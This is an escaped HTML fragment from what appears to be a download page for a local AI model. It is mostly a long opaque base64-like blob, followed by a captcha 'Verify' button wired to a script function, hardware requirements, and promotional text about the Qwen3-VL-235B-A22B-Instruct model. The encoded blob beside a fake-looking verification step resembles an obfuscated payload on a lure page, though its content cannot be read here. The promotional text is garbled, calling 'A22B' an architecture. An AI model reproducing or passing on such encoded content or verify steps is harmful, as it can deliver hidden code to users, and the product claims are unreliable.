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EPrVuK4RzUl0MCwM\/7xR6\/rgvemRASxC81\/bvs2RHy23cbajHGybtw+jJgcv7JW24gdoYWnovygYdoX\/yRZstE5yB8ie3MMywqRujaVWAZvzDbBHbH5TL2rfXn\/Mj3x7Dv2snopg\/yV6UZNRCEC5t\/KCDguWAFWszn5lzXY5UmgdZVd3wZMd2ZTUBIQ4rnhkufF1TlJBfLgISCK5Q2pfJKfhevj\/bEbjrnheGhsKGaQAx8OyBF1S79ko\/Jp1YuWtYIQJs\/VjtjpV9nuVc4IZW49jmEit4IkC7XPDznM5dvUAl5sRBjey03IiH0Y8U9DlY7bCZ1VUXYZisMk2hUfUeRgZsVtPh4HBYMgoHr4YLZFApR7Jqpv6\/pLfI5htGQ\/slbn11uYI\/B1stOiB3L9o+Rze1rQ9ElIsr0AVCjoj3eEUhAdMIfk8RttLnJlGDm7+7TezP\/WkeVI7xR8QFezp1DBrbKuea691iwac2Qjq+tzDod5itqcUtqQEhiUhlPheVgQIEzQ5GrRAz1FF3H4adoNWjaeVWvgPdetO75Yb4czRgbhxuIitUY7fK32CrPjbOn5eY9BJ5Y7DExQhj42oqa1dPvMIiIKeBr8qEql8eHwVwtDA8vIHdTUvdz5dQz+13357zZ6J3k6k8k0egqML64HDPJMZL7HlUvUXqUIX9r0TA11Iqz0U9fJ3fZHnVf+QCBJZKyeZ5KZEg0iLwznGR7uD4tOJ5Uu\/zn\/YTFOCSBofCHRAO8Ea4ykdTkcG+gXk9ZfjSNfIfc07n+UMP6Zrn3YPXF4lbINaSi+TBQM2b0JrY3n0068VmcEhIF9z9IkPkb8JLv\/wDQEm+IvU\/Bt\/avAlwRGQgFtse8V1OXlqBhIM1TIzz5k0sMgQlIWTwmuVM1eGYD+XyILg6cYOsPiZTivpyYS7vmoRy\/sSk1g79aA64acz2g6WSn51u4rgJLc6IY7eprdU+9eUu34XJXuJo9\/vuDOIGfOQJg3WTLMP9\/sVaMqtbLuJnZNbkggskRY4y9+zBlbeqpgZAKaNdxYTMVSr2Bgn0OPCDdK8b5CYlWk6+gzHeY+627ecEB0OEmk2lEmXhso1ahRh6KfvxAc1IIqdbgU\/\/EKjrif96mP5wexpPMt7KC6osxohQBU9gqPGGocP9vUWkkirEPulIp1w+XWGjm0HDAFu+14epgNkcpc9vJ0i0W4FGFzoERQgefckhJ03SfeI6husQvhv43fknobfwIoEX82k9fjju6mg9y5wsc8PhMwnS7wJsKsHnkFxYMica4KbqFK5MKCy+2lpXE3MWxGBA\/Enqg48a1dy9bRo1GI2dXna7kLrQMwz6wZ6M2yaw9R2lHmJzC4vrvGPROS8cKG3GUcXfTPRQmlJ8aRmUlYOrObfgT\/M59Jqex7CKywl7tqnK6xT6bHhGK8aEA\/HbweUTeucCGEk99c3r35VcDpens1YzQnCgJg80uKLrMgB2PND\/Tg1VsEbbzRZgc2gX49ZvPePoD4O\/lR39\/LmQ21yb1CxGESTMOJvjNpczEd0pq9M8oSCcEwoMgLIgM0QYSbwGlpi5QNE3L0a44JQOyrduwEb3oTN6n5WLS9E1PT1hS5vIgTGCYpJQju7WXyLDn64JF7VURGDewKHYroSFH0jk\/t+KdzB4XkkIZhuzaVjMq\/Nl+\/zs3F\/3zT\/ol\/Lu4Jv4hxKgiU9xniqRlam53qysYiaGSU4ZXhX24jsGG5RU2xDKqX2dkMpxWbJWc3WBZf3g7X8Dqiz78yOXrF+jJts3dULORzFMu\/8Nvc+hXcNFQ03wm\/1CFh0ibj830u00kxuTZCndQzKlKdYmqf+gG26D\/1vXOvErXu++tx3U1aga6Bb2Iekd1PObgcpf0iT9ga5PSmcAt7DWdHq59QKAkJo8q4uk6cy\/g8utQ+83AUNwZJMOAqRFIy2tpCEoF9n7FDQRnQrZwx1mgf9JyaUROK0lVBBAHoaOW9SjNEJvtumd4ARI8BSmutF8ZvO\/ksGLy7aQp\/55ZXjE1DGPwXNsxHXXYF8iw\/\/C+SvtNGLUNtd76hHEKtXCcQYP8b\/Rd4+ck+vLZRzqxZst4bG9tIChkrBAhNxKwYvuTrBN8hc8R9BSz5+WvwZ\/X7imxjHcjcvrnKTzYfeIzUPHqWlyLc54Dc36Ln53hVc9f4I2dPO66AzkOYZpYsj166n2XwX4wUWcHpVwFCfd3WfrR9StkEK6ZgUmq1B13aYKf\/wsT1RPRPJvB06RXsUb\/X+jtr9ZMQxHDX4rPycjUS06BBwfC7je7lchD\/rSTFWGnTovYdI8pcGISli3rRP1RFd47TyAkhOZer+uoQTOkyWhIoO\/h\/ZfxEzwZ0+iDMHo090NA79634kQJsdNe8zs0jBjWkm7EyBq0KXxETBHsOfriZoZ+FI8dnDH2yPdA3nVNsxUETxIE8o6VnLLAKVfd5i7NcY5hkoVf4M5TmePfqKzkyj5S4i2BbgkpFyHgv2xsE4OipGg825IWE7mxzXR+q7GVA86TghGLqwKz8nwTJYUaEZ4CoMd2QdWi8ybN5\/Of8vjssPSrlWuM3zehdbjl5SjOfgylBiABB8TkjVnx4U6w2MFyeXZQJBmWB\/XOY8UPRj01FhLpwPe+8vgtB7gaKButYedrFb6MLtXWBVY2txojwwwG4AsQ62mQ95iD\/YzVMPkaKTXvRFT3w+JVJFst7\/UhWC\/kIHrTFJR5mjktEWzIpTvCsqu94pnSKVtbvZWkIuGy7xXwzbRLieFVh9JTSC\/H\/s6BSqFh85bNRUdR9bAGlJqy9Z8O9uAGXCWSviI8\/LNlbisEDoxSRaUkhirdundxebcAf1\/x8TBuJA+pHPWCp\/3CgLzYGrbMBzArs09YWWaeJ7vinAoHsY0c1ynx9xaLIJoaXTyQqse6VqvtFI0pi90VNiHshZYRvRVm+P4KQHEFC5FgK818S1cUaG8jLnNy0EH5\/HP5jd\/z8Ku4CFt33tvnXdUSpSi2yZHzaAc6AVSsg\/AakcuPnAJAjOHSoE0\/J6v0f\/UiKMdJ3UajhopnBTLdkNmJCFpz4rV4a4ij\/FGdED5BzdNBDw8qhDRL1FucNsbJCPZ9gQKtnuOnmjw28iw6g5OOf3pHG509kTfYmS4Zpr6o\/iFb7aCWFJdhK7MCa0m6XNb7pMYN2eUTAmHn\/imYs+Pyb8BHrivloUP\/4HG8u9sIKJEZlyviyB1DTDHHHfKYUaGxRLct5TSgcHzjrWi7\/kUfvUouWSHuhYecd7okk3bVBRI8ZepmzqYjdtdT2N5Wv8g3lrs4e1hnfD+b6CJX56UHtRwg9c4m0KOea0nBvzhMCisROIgd\/fUnld6JiOD6DS8OtqR4mPrL56a\/7+iLE1YaZrFRObQ8rS6C6suG1eZf\/qF0zk28q0j3MGH4yvZU0Wx9lRq2cpXDT\/tE8WHN915nUkELpAz96c75hOiD89r0CI51M+j\/\/JPM9M0t8JZljLX0G0lJmOYmzAOV\/q+sCoGPey\/Au6JnPL2jk639xbVoeJ1B4vxEDENWJzBc4Z3DH387cg0ECdDIOiyO5c+VdA2cWi7L02vjflcW\/UHWEjsXAlaYJAy0Ee4FW2EZAw3O4vVF5tErw7oQ3fJqJ47Ea6PHEVPlQBi7o7cLEoX9oFqsOY4XYfRbm6NANoVuxdFlsjBb4JU7Iz8dJWFEZMI3nFWxvG6DWc+yAKiAaf+EjxK8NR7VyYXYi4ZS5FGWrnsUvmzEGN7Gx\/Apn\/1RvekxFpLpfO3QyEsf\/gTJph+1fz7NqMLL0gwHbnh6iGmpw9MpzBVYjl9OBkzZgj0F\/\/DNt1tcAo25Ht3Xr+ZSTLT3o2Al8eL0x0wy8y9l6fRWKROWHjBMUnhNxuTP6s9BUwzknhfQ3VQu8Q82Vg3HoShHN4O3uFd1NZMUVnoemUBDEIljqfGSfKd+W87bv6Rt\/QQgMg\/r7uDxeBDv\/6thaZVfa5cNiZMa6brwALkTJsq5OiXkh3G9uw3ROkGbl9CVOIyqTSe++g1dtwKMzeeuf2j\/3f4SmLbugpuAiFr8sbUCtScK8i60ATStTepAOfvu33Nzcc5EpLR3I07smBU0mKOdbBuOUrwWUwiQ8W3JdRS5zG6\/XdCS0kGMwva0kNE4m6o2Iep743vjX0cOTTVW2ZUj1nm7STVdj\/Tg2p9nFejthQi0A3snfLyBqwSHTPDE\/R\/bZgLKuc2AE96O2UxrRW\/AqPwd+03ncUrVifHCQkW+JKcIWu6Vk5ZTrSPeom0O7dtBgojeKdSnUeLRQxSeAG37yWfPVuHhzJ6x1oeCMUcYPKSIvUF8+ZRv13a+lGK2RsBGgaO1b6TWNsDvI5fEnuVb+cTyWqQjQ7BW6yCmR4FxDq02k8JNPWuzBtSedsXIQ9nLDQAHjuQVZ4qtHfZbaXXLzYs+rdG75umxaONyFWppgbxXMdlvI1\/IcOlEvQyqda4FnZbWFTVcJVZ6bcsAifpZLSWF5ro3OFGB8kPGlBSGd31MOIgvnHvEmen8gCvfmaDlhRW9DyUA3lqRHu2B+tXTIppEk9bVQN8OFPDLv\/41KVACHTNzhsVhXauEcsmOJ3ujvDCNzBnsr7NGENu9cU8+EjvLyKx2ZWZdNsUkI7vWVcNzLrBlFFgvi4Qj8nx7wCFEgbq6yP7wjF3iDdRfELr\/HGQkVmSQgaA5gCXkuTicBbY0iL1\/wZ0kei2rHhjYyI1PTO9smzpVdY7ssQRoVDGefJDQp2ojdQHRCGWOnHGOIVvXfBvtGkPWZ3Wnnn0bWg3AS\/Wy8g5Em0lqIv+ApQ\/d9apLDTRte8OdIuoh1GI2cIDidpv88iN7xarMYksWfnxxmCx\/sR39ZXKiWBNunO0GYbb+RlpFXDjrqacy6hfLQ+kCqxRCG2OnBZCa4O9vceLtXRsPGv85y\/005ZNJRK9GMfOCv47UJwSvcp3FJ4mvJ85t\/l2lRyZb5uT4AbyXZO7fEjwV6U7JBn1WZoirZfZbLkCB6fOmgcb9u3dqK\/W+56VN0luQsTQ\/z27136m04dFVky2+KBXpzpmhuh85ImHHNU+vG\/9MNjQnfnDcCPvLQAK+EeM7VloZoyD9efVG4KgWlo7I\/IAfuDMTXpRuqemMr9y869bug+VE7\/ZyyV2Lu05EQY2fOkHVU27jjEOeMipcVtFs8BFa3AQFFKmOGgRKiSA6IEY3iJHWl4ZRc6ZmxIWqd7s7dXuvaLsVlJVa8A5d8xvZzKtSufeS14y34iMa86K+RgPV3PzqSroT3uUUgN98XQfmeltq49WgBaeww+1kzpEEhsBkqXFiAGeeQIQxTlpcxxJGX0CkZxbcga1ZdmZ8njhDyg9xY\/ukM\/Chvv5Jy2IqDmq9m4x5WbYS5LaZXWpceqiE\/\/rlXJId5btvVe+xYIwZOrwsKfCtGdBTBNf19ZrOY7k4L8yiV8\/hRBVINVAdgNtQ0AtecYOaP3jTuhFhK79marXl3h5wvafiyIliMtRuNGoPQbjtZnftGhz9XYkwhLvKAxSfb32VGemNrbvQeBfZml\/7hpFzyx2Nt0yOS9I6guTt3obRPKoviDcrsJOIEPHO5ocUutF2Oo3TOGd0Cft29MqI0S6Le\/3k3Ay+qt7xgbm8fyybkH80ZLdTo30\/M7IZjJe93URffeEgNc1L5BA0Hjdg6rChIOLotFS4JN4Jof3VnJoAmxP5ohoSguJ7eRiJhPMUa52z8CNsVlB1b\/WixLLb42qR85OMnJKO9f+fBatQvbfltQNR++vXOVYhv3JuZbCwcxfk0vjNksf8T+ByRJJb9UdIJndEppKyk25u\/HPiIdf3OQ+0C7sqZovl8KTHOQ3VUUkugZo5VZ1xpvGMf7R7pqc9ByhE7wV+GqZ93E0l7DPSle8hqWhj+LuwjmkvZ7jdjGxehBmu52jxS8i3esMZlqloBRr2M+BOnzFcN016F3cTLi2O7i5r69+orrXHtC\/RA5\/\/xdZpKXquW6Lejibd8kCjhHuC9MtoxApGwSiUQzc3nuVLYLFseduPEH6W7q2TOVAsJAWSm6Lm05fCkp6L+lLxP7fnY5zwSy1aM69QvbR5W\/yrKGRcsxwpNCDcNfEi+aBY8TgLVJRS9A4WpUp3fUuyvNHxi+D87Ci22vEaCQcLCqvPCYMZQaNiLnXyrS+FGhe4g2B4szZwo8Zlmcw9WZTo5kuw4NaKWRKEAxWRMAhK9V5tnXZ4m+77Kbg\/HqX94KsiiZkaUGdw9kfkhlbnSofsSmYvtY1LNdvusuwl8guzKV65A6VtByA2vTYmab6Qn6yo+wHn\/U3vik+rMxEXZOk3qr3lRDxvxh\/m9ggWWG4eEduYsxOcq2\/tiMnxzBXIZtFfy+tMp7hWoiU2UE804eHBUumjw64pO0yOUM6N5JV51AdaUzXVbYIlaf+VOwVn7MW0kiNLCXuW+Mw\/B\/NAkY7q0n49b6\/+uDDp2Axc9a8HiaBAici3yj6lhTMaMlwrewO9rwHPmd3BCd+4kD7MIHiMX1yAGluOJDmSaCqmYPJHL+1l4jtgRWw7Tm0kT+kx\/5YUL8MBC5m2SG4lnz\/VkEVQ8kyVjrkuHIYURYNEYJ54az9PEJlSGNRVmX33UKXJkIBVxIeWqOpZvmZvgCOeD0r9hIaugREcdL0rya9MGvU0lOyN+2l4b9G8WKjneza3Iyf\/4us01g8wh\/DzFT7Ynbi0mq\/jvjGiU6tDNqCOqZx+YB6ZrhJr0yHre8fJDk0H1qm5oxJaZEQmvvFXoCFjLeBJrWHVXXoyCxaYHyIvt9fn9Ty\/kvA0U3ou1XR3r+86YYnB32OH7o4hYPlYozdl9KsPupGuNDr0h+NxXirbDnttiFUM4u2PINaD75TvZxpDw8vY\/tfPSajgenx7w6UDOVGHlI7HZ9YTVmmFwCCU477QRAhF5pI6\/Brdr021HKLlgF8jko7vDY5pKb9mUOLF0AanTh\/PX8njmYg8E97vmVj8Ml+JMsNaF9cju8M\/YkTiJQfoqk+RrptomdIE1xauBgtJOuP94Ikf+sQAg2I1dVKMbC4FbyWyhG41QQiqna4HSW5nn8AsSmI4z8xXBGIuJtQXMCh6uvoybfOgE3CHhfucPFK4hiEcHrKTjfDB9snxn3lCnqkRfSfX05whPWtWKPV9MFQWPJ2+HFZ3HVJdhy5sGHXWVzS9xv1wB3LPS8KuUomKILewwbq3XS1ojC61kk7JTYYq4n8knqKovuZq+Zvbthm+lnnEP1D1GXsh1czLQv47mdEcjGKPFDejCkc0f59Yh361h41yA3dQrG1Mwj3lfEpEt9PpC5dm+9repQlcnf8Oos6S1QtTK+o9Mz8fGx9jPtYjZ2+LU0IyxoA5jZHpFrGckt+1zcQDJ7\/Q8dtnh7IWW8gHqiFDPdMCZgEO\/75ZIPMoV9lTmKWlgEaZIrpqcdSFtfLaRHKlrMu6wUpxBoxhHeDLWfFa2b1JIq8aQ2qW2MIOJQg9rjo4VA89pFKROe0N6MuLjqW81PgALgtLMDK4h3ikmXwswhIe1HP6+ovq8ROLn1dDkm3OO7cul4b6vJGpVpWKLes3a7i1l8Vnhx2J3t88V1HRyF6TQPPovTZSY2Qzy6AVMv2h5BHqrP7xoNQGQ4V5bpckdjLUWsdav79bHvkfyXUIfPsTfGpnSeTODuajnciUsjTXSEipxW4ucEDuN\/vxSffJeaO2sV35t1If5y7cdUx5eM5qVuDMugOVaycTvSwhIhnuSXlg5e+6PkE+cEU3bpASnzAon91e6OzgrtKvtx3W9kgO\/SePzyxroRJ7zqxTkrdiYKsAmpPhzMvgWICqGqMohsd4ZeWq0CWann59jGB5VlYcrPrroU3CJlIA\/XhyrhGJckam3xKJPkh1\/F59n+Y5Ihxe+zCg\/iTuRaZW5LL5F1FyoeJWZ9h\/rvpZiMpsLHQ9Vm96BRgcXecHjaXLoGSl\/mnTy8T0cuva5QpNwL\/TckdthD7FCyUYQ1dzdhgA+Pmws1+Im7VmXCkbfjA0sxqWGQetNESXFLzezaw1rB9gKRLFcFsQOuogqFaFRkI+27bJHJJjVdxt5rWelbzput2lDUyqjtpsF0QeZ+Lnfzg62G9e3zZDVpCtFOCPFXfOVBKwSftykc5jHk4+DElcD4WXNxSAQHppC5wrsOZJN9vObjrjvbxW6YdGDeldrFu4ZOp2eqif8shmlZm+dicVJtDBQI3egITjRzCs4\/MEaozeORdvuiUZICoonJIt4kFLVeYO7IS99TpwmaPUizTfvdaoxfPiJE38Y7KOtfhvBL\/b4XmA5PTqG\/+rZH1JBQzqyFDE0RwGrPJyqeb+IElVuS12StTWzoXOUnRzZuzof9iN3uzgsQ4HAFXZLHbSPSNI1WOeZeAmWnjRYzswUBh9PjL\/L5o8CctXm9WMjeLLroTC6muEL4K0y8bJZDfbYlTNNZ472j+k3035kubp3faDVH4yge\/liFNx0WyzS21c\/GIgGdu7s6UNqDIj0bAmQECUDrjfebrBjor59V00fJfIRZ80saiRBZtq2+qT8uQW+wjKX4Syk8Zn94q8y9MghdKZ6NKcD9fG+j7sJSgsJ+1nohybKinlGKx\/I5Vlbb\/Xr4k93YeYzcu5yDmx0QaDKO+QCga6ojl3iijO+M4u5iQmIGWCCnkjkSOqvyDnXB7eny1CV6qHv+q3tIqhSipCzWNhaiBapVQJhmznz9ueLf196Wqme6AmmW1Rhi2vul0jmPhJQYGJIKYntZ2NIWvEkUy5WQweUYy4ZxfzfGJ5mJXGBV+zJS53PTBCHnVCpWlxUIvwEVf9JIjbCYV7WTNxmWKVHPfQdLGPx3rbrSl7\/jJWbPnBEdvMOFQDJfXNR1ZgMfD6jKXZyz84EB1SNzwqfUMdAJC\/uRkOLqKYgK3l2\/l7lC+CKbNy462hOhgPiZJPNAQd6mtTbw0pAUdoiG5C6AckK4\/gbuu2F6tEsr60awdDFSrcyVJ4YlwHUObvJ3isxgXItdLhSAkvbG2swzu8cd2EWZ8pNC2EDg9W2AWkVVz7VYkSkNu5jRmWyCJb8hwcp3nPcXw0YzbRgTnj7HkWvR1bL9XXkD0qsVjhwIL44qRMQRQanYEgyT6pBIgqMYxSzHuktDSjt8SrfzDjQO3HYLA\/8vhP\/gJFJhe1Kr+cYET4dAp7VTxLadbTd4nT8ubczzKJD0SEJ8zYeGxXl6vp6Axm\/6t4x1xurdOV4Oebt7cJgPcuSDFWhQeLcqq273J3B37BQoAiAq9glxRHYXUhMAfb6G6oWxwXfNZGo\/YMY6Xp1ZcEmjfIPXTsMJgd4Ko0FxiFyjV8ih4QY\/xhBmd9VlFkk8mFErzX1gB3oEE8e6oCBbXayY8elwyvpSbXn40YoWrWvQrbWmo6c\/KJDNZGPrKvI7X77T5ZTbpG8hGLDX4A\/NLcQejj4iSmNOJika9SnHp3cZ3\/SpqS6KQJ6Ijg0Yf5UBck8M1IHUNR10J2oTu7kNJcEbznVfALSfnDW76T1vilLsJKznATV42AxQOaW0W22j7apwhrRglQPtgG4oe2yL1sKQkaIHT+11kEPATgBS5aQJOnHej\/VOAWySSJoVfAl8TEXrL6RIR92tNDKOx1efRRR\/QZeZl4AuDzt5LfppqzgjJPewqrnelL\/O7vbDqrv5mN3PTITcj7kjW2U3EU8Z68sryjXJtvOoLnxPos5L1FmT4WUzUNbYnRKakh8GFpba5CT72l0rBvnnUY3EggcOdWZ3U6s4RxOfjXWdhauA3Tz8Onu0KH1kx9ECIRqI8DhtzqWKf\/V1474TrRLaoLk4ScaMyNxxHcBuY4Up1jbalXaTFYa73FB659PKLysUObVvZqL0kmsOEi0XxbIDjM5VohriqahIL0XnPKdxmQS3svhFMiTaUldBrH+thdZ\/8vvw7GEs8GBEIP9dJTF9rB2H\/fKVsxDxHnel\/JatcNuAGIC6CFLcpfxAdM4yW2iW+CYzsMLNnXPrFMe9FeKJz1FiG1SFjQ7sivY9ip+F9f6uJK8weYobr+zzUsj\/EhSAzNGH9Dkmf3Ec3uv3etnLMz49hyCiYfZ3v3QDwP4U3haSCwRkxp\/\/0mOZRCa49hovICoVpglNWWMJvUtDNWZoUVRJgI5bDZwhhhXF9WvFiWSUwVoP3oyWGpmxpZ+WfkPXXLE\/EL+cyWikLn\/MeYy6TT05K5\/vuVFLf7LCdqGcPWzL1eOj3O8a21uzaZADY0a6WCIDTHv0ubcLfwfMOWBca1ddrBhrXwrDIm4RTExsYwmXfZ3UVKmJXOJJCJPJG\/fDmSdsdRVV7AHwicYVc56\/eieG056Mr2WNt8Gsx7ONZL67B0yOiCjT0uZlRwqpOOrNp4o\/NxOcpU+0pVNxEegk9zqoGodcZYJxTXHQidT64z1C4R0RYpYrnS7lKYvcwbjtYdyTn76km6Gsr83fg9Y404MltuZHmrr6udMp0VjFfPt238t9uwfL3DDXT\/OKQ1XofZvrYYcEEcuLVEtCK6Au39suDCF5wysBXpWwa0wTF6UcDXY2l8CPQseA+HE4m2n5IA\/OoGJq7DW8uH0jPSqsZBdqErxLmlU3CObswjUGBczJagZ3d8aVHS8VFnEU7TrSgH3tJzn5EsRDRcV4ppkRMuZv4jnLwmK2MIDiIlvSjjqJVUJFdchGgdo\/GwLeAowWq8S4b5AKc8aIZwVuKx53+ADoj0v0W\/r6KoLUnHnCgguCcUfK\/5bWbcEmlCOumvgOBB8phNp1F+Ix+jw07d9aK3H5NpLovXNlPjO71j\/arjOY9xnqSLoQOilzw7fR2y356Rk8bPgLi4DgE4umKTRYGxCGu461Cjrc8EF5ISG2NPVo5iKbjxS8htQd92LmPM5\/UZc9NLpnhIrloVp+TsXnOIiKnDKSrQCApUxfhGeQ9HxhU8ZPUdTOKcyTOHYlOVKdOnhRICF01ZnKBgwCe8RExjR6NJXqnd0nqo8ojfvR0ri3hFEod7\/D+WF6wtrxCVenp2ai4fPqTDUjXUwHgNbqx1Aa1+kHHt2u729pyHriKnuouSl+7qiRpaKrFgyaNT9UoQ5aBu2GNKl7eeFku\/0rL4plBfTmmxYsQK5Csk4X4fk5qv+66S9\/E7ZyRACHwv1\/rsfwmXaPkQzfR3kzOh1utRrHtoduVGreLKskoKgJtqGBuXOofkbIHfcQOtPES7cfIJo1RUi\/ekLAkf0MO9+Q0NchNRfZx1\/ycgXeXESZwUtdsRemu\/536aWwmwDufeaMAqcXSfCf4L1RRxIgFGDqqtIxVIxBPKYMb0iZjSRoYeMNwhuuvgx\/FMtw+SV1WU8rGmw6+hSBf+wbhl1b7O0dxOHVzKSaBi55ew1vJkU4Ygh3NEIs0jP2Z5ixsKtOeKPnXnI8NuUv9ynykrOeuCVmFrCY+mJv+Ii\/dJBBeGXUKzGxwktMv7\/JS\/qrCdW30\/uAmIXgDfBYj8KgDXJn9rORgXl\/\/QoTafUlXgF9AlgHW3OXGyvuRhIOeuPr3sRbcUM8QI1C7ljUTxn+zQnPOhMYdozFjAzCl1B5r1FHoPurRX1YqB8leQaJZibUrusJ612FHfpN64ut4C8vpVVwLVsdfYTRWEuAx1\/Gput77dtov87fDsYFpE3DFhYoOrInIenSE8+9ZhRT8co\/1sgPKcu+F9PIbqkSTwc6bFVq4awdcniLYqGHhjB2ASIKD+tTJVjMjjadPWLFm3Wxy6Ia2AFfC8HCUCRxJW\/\/iOn5l65BG0DH0WLbSrDA36WqTotqnDq3NWXlOdFUf4\/Dg3NeDBbi21qa6m8krMKx1knSO9pRaXeFAXSivkjNmszOOZ+pmtonjK4mSx7qQ5KeU9oX3CC0vbyZib0vrmxGHf4hkpwuQNJAd0Y9B1LW+QST0lF9JDyigLybAHq1i8\/W3Gf9yCs+VZV\/UbsBc+sNJUnAo7FQNeUAcZSspMB7Dt+FRgfx867pE5FxiO4yRsX+w8+\/03qzqSCnRAnTKQiMjowVn6eei0AEVCyXspcpShLRZs+7Wsjau12pU+XrwZHnNIYQ37fyc\/Ad7pYcjQymoFqKZoh9LNKz2mAfdgldq0av7+mDzY\/1UlZBqZOBrw1ypaLY4VC7ZHaLca6Wl5bcBsXkOSvfhFvUksiyhOBPUzg7fhswZVz8RHCQyssH0UwSySmgUfBfHw67zJ\/1uaVRsd6YFpLYoUYWNIIcT7Elv7gzxLexyrC9+zMu9AvKehMfT3utRl8hXzoL8irWxdwh\/nREPyncKnDmKjVh5eo4f9DzRstjmJlksZdg+O1wFPwxfr7jStC8TL2N4Celzd9vaWAyac21QUq6lVzO+Pm+6UqPojdz1U40ZF7jSGBfD7Ug9OEzTIECt0PX4GemOKMFXv9c3W6XGGKXaa5ygjj+DaAFAMGYa1h6uTcOrNmVHjEy6FDgh07\/TvMM0R5F\/kzhA\/eg\/ClCsia67chZrICC00QN3CLCqukArsJiuduILI19lVd1f1VKQMR5Wr4G4PxVTtkwPTAI8SacgqN\/eKNwrYFkz7tbsTGBjhDi6RmccPthLOK5tchGZOGhgOU8rXzEjIK2WKyqr888g0JJevdnjZAE6pGU1aZldmFFODNlAEkIC6u359PtE3xKWBnna1O8H+bg8CUeCcEKaQxr4TaNkxTOcw0V5be23rgDeElHvac7yiPXlAKf\/CE4vUWR5SsMMCcIkFeZYVpHk04lWs7FwKvEiHGfUyzNiFfiq0oGzwC6UH9YjIRXGiyQQz6K7uAnVbfPTQjpstyIfCaKfCO6LCkinnzbYOTK1XBhwUm\/fRL722\/f4ocgT9pyfESNjQKgAgrVFBKcbb67QBqIgYDDe2kLDKsIjyNm5iVhKuBl8SvA\/eVec\/9x6SVejlE0nlVSTtMLqfvWlQjm8nVZrUPLR2Q06efRteTPLrTGuPEO0OX2+opcGhYv++P5IP2fv6RtrlxQ4Z983SaEQst\/mxUjOaVBWAuLnt0Hmoi1UHWRJOtzQbysw+c382WR7lKHB6nuI5Him6NcZ7aE4Sp7yEirjGfNDReNrW6RISwNPTb0kiC1Tz08\/g9G+tRjYEcfnWsJJ70YN\/R6YFi6iRfDkimHc7p809JElezdF8lDsGl6r9HtQ7fhprruI6uxbZwSkUzwY2pOcsMt9LP8A5Ymz7P4MO7hEY9te+\/KS+1KD1ubevWjt1eX6Ggp8pPaoQ6geKSZbO5yI5TbJo\/t4IrVkTN4gW3xkSSxWy4VLD26sxUEmz3wRnIuYPLiXfoLHipt9EJHDV4MvytuOy66BF6d3ZbKXaJDzgEtXF2ZPh9q2bA2mTavhwnp8M+MJQv3na0R759086xAPDe804oHWkwDcs11KeQoSs2iOhsGZ5T1M3oQszHLH\/lc+OPDfptprzBRPffUy2\/oVG5ot43ugG08lFXG+k4R96MGjoof3z+3L9JzdMA70wrfW9M66Neky2yVFjq6cynXNBLyfOzcduhfDTfk+1hJNIFvctZA2ifuMMd+rLY6ADm1mLCyuT5G1RfUkm00T3Qw\/CRuss03ghiknz0Ub2TIsCiPBt0O5h0ed9WExo3Gl7USqD2b8yftA0SAbcftOxp0ezIhGM0ftW+q8z9OytybcrHLkZvJXuiYa7qb0nB0mIUStinxbVWxxki\/6phWVjl57hYC89brNhUQb7PvTnqYyDpeygEsfyOE69Nc+ezXzHaacHun7+f6QpZIvngwQlnLZ5d3VQ0U0ZdY4GodmYUAAQJU0j0hv2LHJzwDwq8w8gACXEddEx5+JkMjSBe5YAF512HOP+XrEwjmm2+3mfY7MTqLF2UE\/IfNLjPu4q8GJ9Y72K\/Xfc39LF9l6o37CqwZFGhPT65NbJ0yBjmlSu5b3xkfmcgiVbrAN5jBs+iLDxVzSozdWrdyeRkPNPpV7SGC6Uppk+ND6QpqEmUGbx\/eHipARyPUCfH9B1k1YXAOPtETHq5wtz7a9t+Ny\/fYYwI+BCKCxMyNqRoy5Oz1KF8pFXnY6POTquO0xMhuaEz\/KmFDu5divB7z21Og9mdaCwxOA8AvJyZp9zvHcIopVUvQfqnXeQ3YDTWKb8wu\/FIbhexPBKZASiUshVTI3c1++rgPzdZ0eXrtNK2z0q4mHoF+pYL+VdrZMt86erkcH9ZhKifZbqQY6V59U4S8lgVXSDP2gI3Q2MNwTKhlkfaezQ7\/SSQ+8Y0eYtbOkHKDlQrjiKwyrReSanUPVlb72Ln7IRn8CdB1XYlESFABKINMB\/FpOTGI1fn2mYgXnQ3ITto2E5Vy0FEUaeklWPqLrzMAilurYX4cLBW8fvS+kG8oIair+Bm58imD\/thWpGDC32xVt2c5\/QCfdUNEgdzUgqbjrtqmHC3JfjwP0IWCsxrY8KsSkVvIx+VIagSMgliL5RQppDwIcQSXmUhnr9LAImukR1RszIpTRpMUk9l96qojtegg8FPtHTUpb5epSsBScXXoL+v6RpuXnpR8V4neD4fTyMEG7OxGIFrOIyZlADf0Qb\/G7vrolxAB0WVOTBfjKvKiJ3XzWAk3dpKZ7TzYgalWwB7l78bPv+t26W37jN5Yz6IAAAIei6KWhj1Y\/OnDIB7nqCvLoSuFIkkPugNH32vPnSY99LH1tXNjZJ1nrJDN4xhvoH4OfWVGUCLg\/I3VEyVaWHUhKdJoL3EJisQtMV5sS6XaOPaUtuMH+YgomDHcrWvQsdda1092lSRb23ffiw6u9LbF8adItUlNhIdorInyGNRUQd0xF8aKA197mb9MWu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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Introducing the Qwen3-VL-235B-A22B-Instruct Model<\/h4>\n<p>The Qwen3-VL-235B-A22B-Instruct model is a groundbreaking multimodal understanding system that harnesses the power of massive parameters and advanced architecture to deliver state-of-the-art vision-language tasks. By processing text and images simultaneously, this model enables high-fidelity vision-language tasks such as caption generation, visual question answering, and diagram interpretation.\u2022 **High-Performance Architecture**: The Qwen3-VL-235B-A22B-Instruct model combines a massive 235 billion parameters with an A22B architecture to deliver unparalleled multimodal understanding.\u2022 **Fine-Tuning on Web-Scale Data**: The model was fine-tuned on 